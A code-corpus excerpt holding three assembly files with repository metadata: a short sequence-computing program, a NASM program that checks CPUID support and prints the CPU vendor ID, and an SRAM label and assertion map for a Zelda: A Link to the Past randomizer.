; 1,7,85,1099,14281,185647,2413405,31374259,407865361,5302249687,68929245925,896080197019,11649042561241,151437553296127,1968688192849645,25592946507045379,332708304591589921,4325207959690668967,56227703475978696565,730960145187723055339,9502481887440399719401,123532264536725196352207,1605919438977427552578685,20876952706706558183522899,271400385187185256385797681,3528205007433408333015369847,45866665096634308329199808005,596266646256246008279597504059,7751466401331198107634767552761
mov $1,13
pow $1,$0
div $1,2
add $1,1
mov $0,$1
| 62.333333
| 488
| 0.884135
|
27932d4c2340062cb372807414ea61b5d457cbfd
| 2,129
|
asm
|
Assembly
|
Examples/basics/cpuid.asm
|
agguro/linux-nasm
|
3e72083c3db6d7118eb2aa430b73e0d20e88456b
|
[
"Unlicense"
] | 6
|
2020-07-19T18:34:43.000Z
|
2022-03-26T10:21:09.000Z
|
Examples/basics/cpuid.asm
|
NrdyBhu1/linux-nasm
|
3e72083c3db6d7118eb2aa430b73e0d20e88456b
|
[
"Unlicense"
] | null | null | null |
Examples/basics/cpuid.asm
|
NrdyBhu1/linux-nasm
|
3e72083c3db6d7118eb2aa430b73e0d20e88456b
|
[
"Unlicense"
] | 3
|
2020-07-19T18:35:10.000Z
|
2021-07-25T17:34:50.000Z
|
;name: cpuid
;
;build: nasm -felf64 cpuid.asm -o cpuid.o
; ld -s -melf_x86_64 -o cpuid cpuid.o
;
;description: Checks if CPUID instruction is supported and if yes, shows also the Vendor ID
[list -]
%include "unistd.inc"
%include "cpu/cpu.inc"
[list +]
section .data
output: db "The processor Vendor ID is '"
.regEBXvalue: db "xxxx"
.regEDXvalue: db "xxxx"
.regECXvalue: db "xxxx"
db "'", 10
.len: equ $-output
nosupport: db "CPUID is not supported", 10
.len: equ $-nosupport
section .text
global _start
_start:
;assemble in 32 bit mode
bits 32
;returns 1 if CPUID is supported, 0 otherwise (ZF is also set accordingly)
pushfd ;get 32 bits flags
pop eax ;and put in EAX
mov ecx,eax ;save the original flags state in ECX
xor eax,0x200000 ;flip bit 21
push eax ;and put via EAX
popfd ;on stack
pushfd ;get the flags again
pop eax ;put in EAX
xor eax,ecx ;and check if bit 21 is the same as stored before
shr eax,21 ;move bit 21 to bit 0
and eax,1 ;and mask others
push ecx ;
popfd ;and restore original flags
jnz .supported
bits 64
syscall write,stdout,nosupport,nosupport.len
syscall exit
.supported:
; CPUID is supported
xor eax,eax ;get vendor ID
cpuid
mov [output.regEBXvalue],ebx ;first 4 letters of vendor from ebx in place
mov [output.regEDXvalue],edx ;next 4 letters of vendor from edx in place
mov [output.regECXvalue],ecx ;last 4 letters of vendor from ecx in place
syscall write,stdout,output,output.len
syscall exit
| 34.33871
| 93
| 0.503053
|
07a22831f8a7fda57d59b679472eebd437c3ffcd
| 36,443
|
asm
|
Assembly
|
sram.asm
|
mmxbass/z3randomizer
|
04906b5f872e0afb46bf7c98161da50f82235a08
|
[
"MIT"
] | 20
|
2017-05-17T23:00:36.000Z
|
2018-11-29T20:07:06.000Z
|
sram.asm
|
mmxbass/z3randomizer
|
04906b5f872e0afb46bf7c98161da50f82235a08
|
[
"MIT"
] | 13
|
2017-07-19T19:16:53.000Z
|
2018-04-23T19:52:15.000Z
|
sram.asm
|
mmxbass/z3randomizer
|
04906b5f872e0afb46bf7c98161da50f82235a08
|
[
"MIT"
] | 17
|
2017-05-22T19:58:01.000Z
|
2018-11-22T03:35:57.000Z
|
;================================================================================
; SRAM Labels & Assertions
;--------------------------------------------------------------------------------
; Labels for values in SRAM and assertions that ensure they're correct and
; at the expected addresses. All values larger than one byte are little endian.
;--------------------------------------------------------------------------------
; $7EF000 - $7EF4FF in WRAM maps to the first $4FF bytes in SRAM (Bank $70)
; $7F6000 - $7F6FFF in WRAM maps to the next 4k bytes, occupying the 2nd and 3rd vanilla
; save file locations. ($700500 - $701500)
;--------------------------------------------------------------------------------
pushpc
org 0 ; This module writes no bytes. Asar gives bank cross errors without this.
;================================================================================
; Room Data ($7EF000 - $7EF27F
;--------------------------------------------------------------------------------
; Each room has two bytes. There are 296 ($128) rooms in the ROM. The data beyond
; $7EF24F is unused. The current room index is located at $A0 in WRAM (16-bits.)
;
; The quadrant bits from left to right correspond to quadrants 4 (northwest), 3 (northeast),
; 2 (southwest), and 1 (southeast), which is the same as they are laid out on the screen from
; left to right, top to bottom.
;
; Example: We can use RoomDataWRAM[$37].high to read or write the pot key in the first
; floodable room in Swamp Palace ($04)
;--------------------------------------------------------------------------------
; .high Byte: d d d d b k u t
; .low Byte: s e h c q q q q
;
; d = Door opened (key, bomb wall, etc)
; b = Boss kill / Heart Container
; k = Key / Heart Piece
; u = Second key
; t = Chest 4 / Rupee floor / Swamp drains / Bombable floor / Mire wall
; s = Chest 3 / Bomable floor / PoD or Desert wall
; e = Chest 2
; h = Chest 1
; c = Chest 0
; q = Quadrant visits
;--------------------------------------------------------------------------------
struct RoomDataWRAM $7EF000
.l
.low: skip 1
.high: skip 1
endstruct align 2
;================================================================================
; Overworld Event Data ($7EF280 - $7EF33F)
;--------------------------------------------------------------------------------
; Each overworld area has one byte. The overworld screen index is located at $8A
; in WRAM (16-bits.)
;
; This label can be indexed with a plus symbol (e.g. The Hyrule Castle screen would
; be OverworldEventDataWRAM+$1B or OverworldEventDataWRAM+27)
;--------------------------------------------------------------------------------
; - i o - - - b -
;
; i = Free-standing item collected. Also used for sprites like the castle tower barrier
; o = Overlay active
; b = Bomb wall opened
;--------------------------------------------------------------------------------
OverworldEventDataWRAM = $7EF280
;================================================================================
; Items & Equipment ($7EF340 - $7EF38B)
;--------------------------------------------------------------------------------
; Current equipment labels & values
; Values will represent current menu selection in cases where player can switch
; items (e.g. holding powder and mushroom at the same time.)
;
; $00 = None
;--------------------------------------------------------------------------------
base $7EF340
EquipmentWRAM: ;
BowEquipment: skip 1 ; $01 = Bow | $02 = Bow & Arrows
; $03 = Silver Arrow Bow | $04 = Bow & Silver Arrows
BoomerangEquipment: skip 1 ; $01 = Blue | $02 = Red
HookshotEquipment: skip 1 ; $01 = Hookshot
BombsEquipment: skip 1 ; Number of bombs currently held (8-bit integer)
PowderEquipment: skip 1 ; $01 = Mushroom | $02 = Powder
FireRodEquipment: skip 1 ; $01 = Fire Rod
IceRodEquipment: skip 1 ; $01 = Ice Rod
BombosEquipment: skip 1 ; $01 = Bombos Medallion
EtherEquipment: skip 1 ; $01 = Ether Medallion
QuakeEquipment: skip 1 ; $01 = Quake Medallion
LampEquipment: skip 1 ; $01 = Lamp
HammerEquipment: skip 1 ; $01 = Hammer
FluteEquipment: skip 1 ; $01 = Shovel | $02 = Inactive Flute | $03 = Active Flute
BugNetEquipment: skip 1 ; $01 = Bug Net
BookOfMudoraEquipment: skip 1 ; $01 = Book of Mudora
BottleIndex: skip 1 ; Current bottle in menu. 1-based index into BottleContents below
SomariaEquipment: skip 1 ; $01 = Cane of Somaria
ByrnaEquipment: skip 1 ; $01 = Cane of Byrna
CapeEquipment: skip 1 ; $01 = Magic Cape
MirrorEquipment: skip 1 ; $01 = Scroll (graphic only) | $02 = Mirror
GloveEquipment: skip 1 ; $01 = Power Gloves | $02 = Titan's Mitts
BootsEquipment: skip 1 ; $01 = Boots | This only shows menu item, see: AbilityFlags
FlippersEquipment: skip 1 ; $01 = Flippers
MoonPearlEquipment: skip 1 ; $01 = Moon Pearl
skip 1 ; Not used
SwordEquipment: skip 1 ; $01 = Fighter | $02 = Master | $03 = Tempered | $04 = Gold
ShieldEquipment: skip 1 ; $01 = Fighter | $02 = Red | $03 = Mirror
ArmorEquipment: skip 1 ; $00 = Green | $01 = Blue | $02 = Red
BottleContents: ; \ Bottle Contents
BottleContentsOne: skip 1 ; |
BottleContentsTwo: skip 1 ; | $00 = No Bottle | $01 = Mushroom | $02 = Empty Bottle
BottleContentsThree: skip 1 ; | $03 = Red Potion | $04 = Green Potion | $05 = Blue Potion
BottleContentsFour: skip 1 ; / $06 = Fairy | $07 = Bee | $08 = Good Bee
CurrentRupees: skip 2 ; \ DisplayRupees holds the number on the HUD. It will always
DisplayRupees: skip 2 ; / increment/decrement to match CurrentRupees if not equal (16-bit integers)
;--------------------------------------------------------------------------------
CompassField: skip 2 ; Dungeon item bitfields
BigKeyField: skip 2 ; Low byte: w i h b t g - -
MapField: skip 2 ; w = Skull Woods | i = Ice Palace | h = Hera | b = Thieves' Town
; t = Turtle Rock | g = Ganon's Tower
;------------------------------------------------
; High Byte: x c e d a s p m
; x = Sewers | c = Hyrule Castle | e = Eastern Palace | d = Desert Palace
; a = Castle Tower | s = Swamp Palace | p = PoD | m = Mire
;--------------------------------------------------------------------------------
; HUD & other equipment
skip 1 ; Wishing Pond Rupee (Unused)
HeartPieceQuarter: skip 1 ; Heart pieces of four for health upgrade. Wraps around to $00 after $03.
MaximumHealth: skip 1 ; \ Max Health & Current Health
CurrentHealth: skip 1 ; / Max value for both is $A0 | $04 = half heart | $08 = heart
CurrentMagic: skip 1 ; Current magic | Max value is $80
CurrentSmallKeys: skip 1 ; Number of small keys held for current dungeon (integer)
BombCapacityUpgrades: skip 1 ; \ Bomb & Arrow Capacity Upgrades
ArrowCapacityUpgrades: skip 1 ; / Indicates flatly how many can be held above vanilla max (integers)
HeartsFiller: skip 1 ; Hearts collected yet to be filled. Write in multiples of $08
MagicFiller: skip 1 ; Magic collected yet to be filled
PendantsField: skip 1 ; - - - - - g b r (bitfield)
; g = Green (Courage) | b = Blue (Power) | r = Red (Wisdom)
BombsFiller: skip 1 ; Bombs collected yet to be filled (integer)
ArrowsFiller: skip 1 ; Arrows collected yet to be filled (integer)
CurrentArrows: skip 1 ; Current arrows (integer)
skip 1 ; Unknown
AbilityFlags: skip 1 ; l r t u p b s h (bitfield)
; l = Lift | r = Read | t = Talk | u = Unused but set by default
; p = Pull | b = Dash | s = Swim | h = Pray (unused)
CrystalsField: skip 1 ; - w b s t i p m (bitfield)
; w = Skull Woods | b = Thieves' Town | s = Swamp Palace | t = Turtle Rock
; i = Ice Palace | p = Palace of Darkness | m = Misery Mire
MagicConsumption: skip 1 ; $00 = Normal | $01 = Half Magic | $02 = Quarter Magic
;--------------------------------------------------------------------------------
; Small keys earned per dungeon (integers)
DungeonKeys: ;
SewerKeys: skip 1 ; \ HC and Sewers small keys increment together
HyruleCastleKeys: skip 1 ; /
EasternKeys: skip 1 ; Eastern Palace small keys
DesertKeys: skip 1 ; Desert Palace small keys
CastleTowerKeys: skip 1 ; Agahnim's Tower small keys
SwampKeys: skip 1 ; Swamp Palace small keys
PalaceOfDarknessKeys: skip 1 ; Palace of Darkness small keys
MireKeys: skip 1 ; Misery Mire small keys
SkullWoodsKeys: skip 1 ; Skull Woods small keys
IcePalaceKeys: skip 1 ; Ice Palace small keys
HeraKeys: skip 1 ; Tower of Hera small keys
ThievesTownKeys: skip 1 ; Thieves' Town small keys
TurtleRockKeys: skip 1 ; Turtle Rock small keys
GanonsTowerKeys: skip 1 ; Ganon's Tower small keys
skip 1 ; Unused
CurrentGenericKeys: skip 1 ; Generic small keys
;================================================================================
; Tracking & Indicators ($7EF38C - $7EF3F0)
;--------------------------------------------------------------------------------
InventoryTracking: skip 2 ; b r m p n s k f - - - - - - o q (bitfield)
; b = Blue Boomerang | r = Red Boomerang | m = Mushroom Current
; p = Magic Powder | n = Mushroom Past | s = Shovel
; k = Inactive Flute | f = Active Flute | o = Any bomb acquired
; q = Quickswap locked
BowTracking: skip 2 ; b s p - - - - - - - - - - - - - (bitfield)
; b = Bow | s = Silver Arrows Upgrade | p = Second Progressive Bow
; The front end writes two distinct progressive bow items. p
; indicates whether the "second" has been found independent of
; the first
ItemLimitCounts: skip 16 ; Keeps track of limited non-progressive items such as lamp.
; See: ItemSubstitutionRules in tables.asm
; Right now this is only used for three items but extra space is
; reserved
skip 37 ; Unused
ProgressIndicator: skip 1 ; $00 = Pre-Uncle | $01 = Post-Uncle item | $02 = Zelda Rescued
; $03 = Agahnim 1 defeated
; $04 and above don't do anything. $00-$02 used in standard mode
ProgressFlags: skip 1 ; - - - h - z - u (bitfield)
; h = Uncle left house | z = Zelda rescued | u = Uncle item obtained
MapIcons: skip 1 ; Used for deciding which icons to display on OW map
; $03 = Pendants | $04 = Master Sword | $05 = Skull at Hyrule Castle
; $06 = Crystal 1 | $07 = All Crystals | $08 = Skull at Ganon's Tower
StartingEntrance: skip 1 ; Starting entrance to use
; $00 = Link's House | $01 = Menu or Pyramid w/ Aga dead & mirror
; $02 = Zelda's Cell | $03 = Secret Passage or HC if entered (escape)
; $04 = Throne Room (escape) | $05 = Old Man Cave w/ Old Man
NpcFlagsVanilla: skip 1 ; - - d p s - b h (bitfield)
; d = Frog rescued | p = Purple Chest | s = Tree Kid (unused)
; b = Bottle Merchant item | h = Hobo item
CurrentWorld: skip 1 ; $00 = Light World | $40 = Dark World
skip 1 ; Unused
FollowerIndicator: skip 1 ; $00 = No Follower | $01 = Zelda | $04 = Old Man
; $06 = Blind Maiden | $07 = Frog | $08 = Dwarf
; $09 = Locksmith | $0A = Kiki | $0C = Purple Chest
; $0D = Big Bomb
FollowerXCoord: skip 2 ; \ Cached X and Y overworld coordinates of dropped follower
FollowerYCoord: skip 2 ; / (16-bit integers)
DroppedFollowerIndoors: skip 1 ; $00 = Dropped follower outdoors | $01 = Dropped follower indoors
DroppedFollowerLayer: skip 1 ; $00 = Upper layer | $01 =.lower layer
FollowerDropped: skip 1 ; Set to $80 when a follower exists and has been dropped somewhere
; $00 otherwise
skip 5 ; Unused
FileNameVanillaWRAM: skip 8 ; First four characters of file name
FileValidity: skip 2 ; Always $55AA. Don't write.
;================================================================================
; Rando-Specific Assignments & Game Stats ($7EF3F1 - $7EF4FF)
;--------------------------------------------------------------------------------
skip 28 ; Unused
GameCounter: skip 2 ; Number of deaths and save + quits (16-bit integer)
PostGameCounter: skip 2 ; Initialized to $FFFF, replaced with GameCounter on goal completion
; Number is displayed on file select when not $FFFF. Max 999 (16-bit integer)
CompassCountDisplay: skip 2 ; Compass count display flags (bitfield)
; Sets a flag if the total item count has been displayed on HUD
; Low byte: w i h b t g - -
; w = Skull Woods | i = Ice Palace | h = Hera | b = Thieves' Town
; t = Turtle Rock | g = Ganon's Tower
; High Byte: x c e d a s p m
; x = Sewers | c = Hyrule Castle | e = Eastern Palace | d = Desert Palace
; a = Castle Tower | s = Swamp Palace | p = PoD | m = Mire
skip 10 ;
Aga2Duck: skip 1 ; Used in lieu of pyramid hole for checking if the duck should come
; 0 = Haven't called post-Aga 2 bird | 1 = Have called post-Aga 2 bird
NpcFlags: skip 2 ; l - c s t k z o (bitfield)
; l = Library | c = Catfish | s = Sahasrahla | t = Stumpy
; k = Sick Kid | z = King Zora | o = Old Man
;
; b - p m f s b e (bitfield)
; b = Magic Bat | p = Potion Shop (Powder) | m = Lost Woods (Mushroom)
; f = Fairy (unused) | s = Smith | b = Bombos Tablet
; e = Ether Tablet
skip 2 ; Unused
MapOverlay: skip 2 ; Used to reveal dungeon prizes on the map in modes where maps,
; Saha, and the bomb shop guy reveal dungeon prizes (bitfield)
; \ - - g r t h i s
; | g = Ganon's Tower | r = Turtle Rock | t = Thieves' Town
; / h = Tower of Hera | i = Ice Palace | s = Skull Woods
; \ m d s a t e h p
; | m = Misery Mire | d = Palace of Darkness | s = Swamp Palace
; | a = Aga Tower | t = Desert Palace | e = Eastern Palace
; / h = Hyrule Castle | s = Sewer Passage
HudFlag: ;
IgnoreFaeries: ;
HasGroveItem: ;
GeneralFlags: skip 1 ; - - h - - i - g (bitfield)
; h = HUD Flag | i = ignore faeries | g = has diggable grove item
HighestSword: skip 1 ; Highest sword level (integer)
GoalCounter: skip 2 ; Goal items collected (16-bit integer)
ProgrammableItemOne: skip 2 ; \ Reserved for programmable items
ProgrammableItemTwo: skip 2 ; |
ProgrammableItemThree: skip 2 ; /
BonkCounter: skip 1 ; Number of times the player has bonked (integer)
YAItemCounter: skip 1 ; y y y y y a a a (packed integers)
; Number of Y and A items collected represented as packed integers
HighestShield: skip 1 ; Highest Shield level
TotalItemCounter: skip 2 ; Total items collected (integer)
SwordBossKills: skip 2 ; t t t t g g g g f f f f m m m m (packed integers)
; t = Tempered Sword boss kills | g = Gold Sword boss kills
; f = Fighter Sword boss kills | m = Master Sword boss kills
BigKeysBigChests: skip 1 ; k k k k c c c c (packed integers)
; k = Big Keys collected | c = Big Chests opened
MapsCompasses: skip 1 ; m m m m c c c c (packed integers)
; m = Maps collected | c = Compasses collected
PendantCounter: skip 1 ; Number of pendants collected (integer)
PreGTBKLocations: skip 1 ; Locations checked in GT before finding the big key
; b = Big Bomb Acquired | s = Silver Arrows Acquired
; c = GT locations collected before big key
RupeesSpent: skip 2 ; Rupees spent (16-bit integer)
SaveQuitCounter: skip 1 ; Number of times player has saved and quit (integer)
LoopFrames: skip 4 ; Frame counter incremented during frame hook (32-bit integer)
PreBootsLocations: skip 2 ; Number of locations checked before getting boots (integer)
PreMirrorLocations: skip 2 ; Number of locations checked before getting mirror (integer)
PreFluteLocations: skip 2 ; Number of locations checked before getting flute (integer)
skip 2 ; Unused
OverworldMirrors: skip 1 ; Number of times mirror used on overworld (integer)
UnderworldMirrors: skip 1 ; Number of times mirror used in underworld (integer)
ScreenTransitions: skip 2 ; Number of screen transitions (16-bit integer)
NMIFrames: skip 4 ; Frame counter incremented during NMI hook (32-bit integer)
ChestsOpened: skip 1 ; Number of chests opened. Doesn't count NPC, free standing items etc (integer)
StatsLocked: skip 1 ; Set to $01 when goal is completed; game stops counting stats.
MenuFrames: skip 4 ; Total menu time in frames (32-bit integer)
HeartContainerCounter: skip 1 ; Total number of heart containers collected (integer)
DeathCounter: skip 1 ; Number of deaths (integer)
skip 1 ; Reserved
FluteCounter: skip 1 ; Number of times fluted (integer)
skip 4 ;
RNGItem: skip 2 ; RNG Item
SwordlessBossKills: skip 1 ; Number of bosses killed without a sword (integer)
FaerieRevivalCounter: skip 1 ; Number of faerie revivals (integer)
ChallengeTimer: skip 4 ; Timer used for OHKO etc
SwordTime: skip 4 ; Time first sword found in frames (32-bit integer)
BootsTime: skip 4 ; Time boots found in frames (32-bit integer)
FluteTime: skip 4 ; Time flute found in frames (32-bit integer)
MirrorTime: skip 4 ; Time mirror found in frames (32-bit integer)
ChestTurnCounter: skip 1 ; Number of chest turns (integer)
CapacityUpgrades: skip 1 ; Number of capacity upgrades collected (integer)
DamageCounter: skip 2 ; Damage taken by player (16-bit integer)
MagicCounter: skip 2 ; Magic used by player (16-bit integer)
HighestMail: skip 1 ; Highest mail level
SmallKeyCounter: skip 1 ; Total Number of small keys collected (integer)
HeartPieceCounter: skip 1 ; Total Number of heartpieces collected (integer)
CrystalCounter: skip 1 ; Total Number of crystals collected (integer)
DungeonsCompleted: skip 2 ; Bitfield indicating whether a dungeon's prize has been collected.
; This has the same shape as the dungeon item bitfields.
skip 44 ; Unused
ServiceSequenceRx: ; Service sequence receive
ServiceSequenceTx: ; Service sequence transmit
ServiceSequence: skip 8 ; Service request block. See servicerequest.asm
skip 8 ; Unused
DungeonAbsorbedKeys: ; \ Absorbed key counters (integers)
SewerAbsorbedKeys: skip 1 ; | Sewer Passage
HCAbsorbedKeys: skip 1 ; | Hyrule Castle
EPAbsorbedKeys: skip 1 ; | Eastern Palace
DPAbsorbedKeys: skip 1 ; | Desert Palace
CTAbsorbedKeys: skip 1 ; | Agahnim's Tower
SPAbsorbedKeys: skip 1 ; | Swamp Palace
PDAbsorbedKeys: skip 1 ; | Palace of Darkness
MMAbsorbedKeys: skip 1 ; | Misery Mire
SWAbsorbedKeys: skip 1 ; | Skull Woods
IPAbsorbedKeys: skip 1 ; | Ice Palace
THAbsorbedKeys: skip 1 ; | Tower of Hera
TTAbsorbedKeys: skip 1 ; | Thieves' Town
TRAbsorbedKeys: skip 1 ; | Turtle Rock
GTAbsorbedKeys: skip 1 ; / Ganon's Tower
skip 2 ; Reserved for previous table
DungeonLocationsChecked: ; \ Dungeon locations checked counters (integers)
SewersLocations: skip 1 ; | Sewer Passage
HCLocations: skip 1 ; | Hyrule Castle
EPLocations: skip 1 ; | Eastern Palace
DPLocations: skip 1 ; | Desert Palace
CTLocations: skip 1 ; | Agahnim's Tower
SPLocations: skip 1 ; | Swamp Palace
PDLocations: skip 1 ; | Palace of Darkness
MMLocations: skip 1 ; | Misery Mire
SWLocations: skip 1 ; | Skull Woods
IPLocations: skip 1 ; | Ice Palace
THLocations: skip 1 ; | Tower of Hera
TTLocations: skip 1 ; | Thieves' Town
TRLocations: skip 1 ; | Turtle Rock
GTLocations: skip 1 ; / Ganon's Tower:
skip 2 ; Reserved for previous table
skip 16 ; Currently occupied by multiworld stuff in DR, can be reclaimed
DungeonCollectedKeys: ; \ Chest Key Counters. Only counts keys placed in chests. (integers)
SewerCollectedKeys: skip 1 ; | Sewer Passage
HCCollectedKeys: skip 1 ; | Hyrule Castle
EPCollectedKeys: skip 1 ; | Eastern Palace
DPCollectedKeys: skip 1 ; | Desert Palace
CTCollectedKeys: skip 1 ; | Agahnim's Tower
SPCollectedKeys: skip 1 ; | Swamp Palace
PDCollectedKeys: skip 1 ; | Palace of Darkness
MMCollectedKeys: skip 1 ; | Misery Mire
SWCollectedKeys: skip 1 ; | Skull Woods
IPCollectedKeys: skip 1 ; | Ice Palace
THCollectedKeys: skip 1 ; | Tower of Hera
TTCollectedKeys: skip 1 ; | Thieves' Town
TRCollectedKeys: skip 1 ; | Turtle Rock
GTCollectedKeys: skip 1 ; / Ganon's Tower
skip 2 ; Reserved for previous table
FileMarker: skip 1 ; $FF = Active save file | $00 = Inactive save file
skip 13 ; Unused
InverseChecksum: skip 2 ; Vanilla Inverse Checksum. Don't write unless computing checksum.
;================================================================================
; Expanded SRAM ($7F6000 - $7F6FFF)
;--------------------------------------------------------------------------------
; This $1000 byte segment is saved beginning where the second save file was in SRAM
; beginning at $700500
;--------------------------------------------------------------------------------
base $7F6000 ; $1000 byte buffer we place beginning at second save file
ExtendedFileNameWRAM: skip 24 ; File name, 12 word-length characters.
RoomPotData: skip 592 ; Table for expanded pot shuffle. One word per room.
SpritePotData: skip 592 ; Table for expanded pot shuffle. One word per room.
PurchaseCounts: skip 96 ; Keeps track of shop purchases
PrivateBlock: skip 512 ; Reserved for 3rd party developers
DummyValue: skip 1 ; $01 if you're a real dummy
;================================================================================
; Direct SRAM Assignments ($700000 - $7080000)
;--------------------------------------------------------------------------------
; Label assignments for the actual cartridge SRAM, expanded to 32k. Used mainly
; for burning in values such as the ROM name directly or when we only have to read
; a small amount of data which is not currently in the WRAM mirror.
;--------------------------------------------------------------------------------
base $700000 ;
CartridgeSRAM: ;
RoomDataSRAM: ;
skip $280 ;
OverworldEventDataSRAM: ;
skip $C0 ;
EquipmentSRAM: skip 76 ;
InventoryTrackingSRAM: skip 2 ;
BowTrackingSRAM: skip 2 ;
skip 53 ;
ProgressIndicatorSRAM: skip 1 ;
skip 19 ;
FileNameVanillaSRAM: skip 8 ; First four characters of file name
FileValiditySRAM: skip 2 ;
skip 285 ;
ExtendedFileNameSRAM: skip 24 ; We read and write the file name directly from and to SRAM (24 bytes)
skip $1AE4 ;
RomVersionSRAM: skip 4 ; ALTTPR ROM version. Low byte is the version, high byte writes
; $01 for now (32-bits total)
RomNameSRAM: skip 21 ; ROM name from $FFC0, burned in during init (21 bytes)
; If value in the ROM doesn't match SRAM, save is cleared.
skip 4075 ;
PasswordSRAM: skip 16 ; Password value (16 bytes)
base off
;================================================================================
; Assertions
;================================================================================
macro assertSRAM(label, address)
assert <label> = <address>, "<label> labeled at incorrect address."
endmacro
;================================================================================
; Vanilla Assertions
;--------------------------------------------------------------------------------
; All of these need to pass for the base rom to build or something is probably
; very wrong.
;--------------------------------------------------------------------------------
%assertSRAM(EquipmentWRAM, $7EF340)
%assertSRAM(BowEquipment, $7EF340)
%assertSRAM(BoomerangEquipment, $7EF341)
%assertSRAM(HookshotEquipment, $7EF342)
%assertSRAM(BombsEquipment, $7EF343)
%assertSRAM(PowderEquipment, $7EF344)
%assertSRAM(FireRodEquipment, $7EF345)
%assertSRAM(IceRodEquipment, $7EF346)
%assertSRAM(BombosEquipment, $7EF347)
%assertSRAM(EtherEquipment, $7EF348)
%assertSRAM(QuakeEquipment, $7EF349)
%assertSRAM(LampEquipment, $7EF34A)
%assertSRAM(HammerEquipment, $7EF34B)
%assertSRAM(FluteEquipment, $7EF34C)
%assertSRAM(BugNetEquipment, $7EF34D)
%assertSRAM(BookOfMudoraEquipment, $7EF34E)
%assertSRAM(BottleIndex, $7EF34F)
%assertSRAM(SomariaEquipment, $7EF350)
%assertSRAM(ByrnaEquipment, $7EF351)
%assertSRAM(CapeEquipment, $7EF352)
%assertSRAM(MirrorEquipment, $7EF353)
%assertSRAM(GloveEquipment, $7EF354)
%assertSRAM(BootsEquipment, $7EF355)
%assertSRAM(FlippersEquipment, $7EF356)
%assertSRAM(MoonPearlEquipment, $7EF357)
%assertSRAM(SwordEquipment, $7EF359)
%assertSRAM(ShieldEquipment, $7EF35A)
%assertSRAM(ArmorEquipment, $7EF35B)
%assertSRAM(BottleContentsOne, $7EF35C)
%assertSRAM(BottleContentsTwo, $7EF35D)
%assertSRAM(BottleContentsThree, $7EF35E)
%assertSRAM(BottleContentsFour, $7EF35F)
%assertSRAM(CurrentRupees, $7EF360)
%assertSRAM(DisplayRupees, $7EF362)
;--------------------------------------------------------------------------------
%assertSRAM(CompassField, $7EF364)
%assertSRAM(BigKeyField, $7EF366)
%assertSRAM(MapField, $7EF368)
;--------------------------------------------------------------------------------
%assertSRAM(HeartPieceQuarter, $7EF36B)
%assertSRAM(MaximumHealth, $7EF36C)
%assertSRAM(CurrentHealth, $7EF36D)
%assertSRAM(CurrentMagic, $7EF36E)
%assertSRAM(CurrentSmallKeys, $7EF36F)
%assertSRAM(BombCapacityUpgrades, $7EF370)
%assertSRAM(ArrowCapacityUpgrades, $7EF371)
%assertSRAM(HeartsFiller, $7EF372)
%assertSRAM(MagicFiller, $7EF373)
%assertSRAM(PendantsField, $7EF374)
%assertSRAM(BombsFiller, $7EF375)
%assertSRAM(ArrowsFiller, $7EF376)
%assertSRAM(CurrentArrows, $7EF377)
%assertSRAM(AbilityFlags, $7EF379)
%assertSRAM(CrystalsField, $7EF37A)
%assertSRAM(MagicConsumption, $7EF37B)
;--------------------------------------------------------------------------------
%assertSRAM(DungeonKeys, $7EF37C)
%assertSRAM(SewerKeys, $7EF37C)
%assertSRAM(HyruleCastleKeys, $7EF37D)
%assertSRAM(EasternKeys, $7EF37E)
%assertSRAM(DesertKeys, $7EF37F)
%assertSRAM(CastleTowerKeys, $7EF380)
%assertSRAM(SwampKeys, $7EF381)
%assertSRAM(PalaceOfDarknessKeys, $7EF382)
%assertSRAM(MireKeys, $7EF383)
%assertSRAM(SkullWoodsKeys, $7EF384)
%assertSRAM(IcePalaceKeys, $7EF385)
%assertSRAM(HeraKeys, $7EF386)
%assertSRAM(ThievesTownKeys, $7EF387)
%assertSRAM(TurtleRockKeys, $7EF388)
%assertSRAM(GanonsTowerKeys, $7EF389)
%assertSRAM(CurrentGenericKeys, $7EF38B)
;--------------------------------------------------------------------------------
%assertSRAM(ProgressIndicator, $7EF3C5)
%assertSRAM(ProgressFlags, $7EF3C6)
%assertSRAM(MapIcons, $7EF3C7)
%assertSRAM(StartingEntrance, $7EF3C8)
%assertSRAM(NpcFlagsVanilla, $7EF3C9)
%assertSRAM(CurrentWorld, $7EF3CA)
%assertSRAM(FollowerIndicator, $7EF3CC)
%assertSRAM(FollowerXCoord, $7EF3CD)
%assertSRAM(FollowerYCoord, $7EF3CF)
%assertSRAM(DroppedFollowerIndoors, $7EF3D1)
%assertSRAM(DroppedFollowerLayer, $7EF3D2)
%assertSRAM(FollowerDropped, $7EF3D3)
%assertSRAM(FileNameVanillaWRAM, $7EF3D9)
%assertSRAM(FileValidity, $7EF3E1)
%assertSRAM(InverseChecksum, $7EF4FE)
;================================================================================
; Randomizer Assertions
;--------------------------------------------------------------------------------
; Trackers and other third party consumers may depend on these values.
;--------------------------------------------------------------------------------
%assertSRAM(InventoryTracking, $7EF38C)
%assertSRAM(BowTracking, $7EF38E)
%assertSRAM(ItemLimitCounts, $7EF390)
;--------------------------------------------------------------------------------
%assertSRAM(GameCounter, $7EF3FF)
%assertSRAM(PostGameCounter, $7EF401)
%assertSRAM(CompassCountDisplay, $7EF403)
%assertSRAM(Aga2Duck, $7EF40F)
%assertSRAM(NpcFlags, $7EF410)
%assertSRAM(MapOverlay, $7EF414)
%assertSRAM(HudFlag, $7EF416)
%assertSRAM(IgnoreFaeries, $7EF416)
%assertSRAM(HasGroveItem, $7EF416)
%assertSRAM(GeneralFlags, $7EF416)
%assertSRAM(HighestSword, $7EF417)
%assertSRAM(GoalCounter, $7EF418)
%assertSRAM(ProgrammableItemOne, $7EF41A)
%assertSRAM(ProgrammableItemTwo, $7EF41C)
%assertSRAM(ProgrammableItemThree, $7EF41E)
%assertSRAM(BonkCounter, $7EF420)
%assertSRAM(YAItemCounter, $7EF421)
%assertSRAM(HighestShield, $7EF422)
%assertSRAM(TotalItemCounter, $7EF423)
%assertSRAM(SwordBossKills, $7EF425)
%assertSRAM(BigKeysBigChests, $7EF427)
%assertSRAM(MapsCompasses, $7EF428)
%assertSRAM(PendantCounter, $7EF429)
%assertSRAM(PreGTBKLocations, $7EF42A)
%assertSRAM(RupeesSpent, $7EF42B)
%assertSRAM(SaveQuitCounter, $7EF42D)
%assertSRAM(LoopFrames, $7EF42E)
%assertSRAM(PreBootsLocations, $7EF432)
%assertSRAM(PreMirrorLocations, $7EF434)
%assertSRAM(PreFluteLocations, $7EF436)
%assertSRAM(OverworldMirrors, $7EF43A)
%assertSRAM(UnderworldMirrors, $7EF43B)
%assertSRAM(ScreenTransitions, $7EF43C)
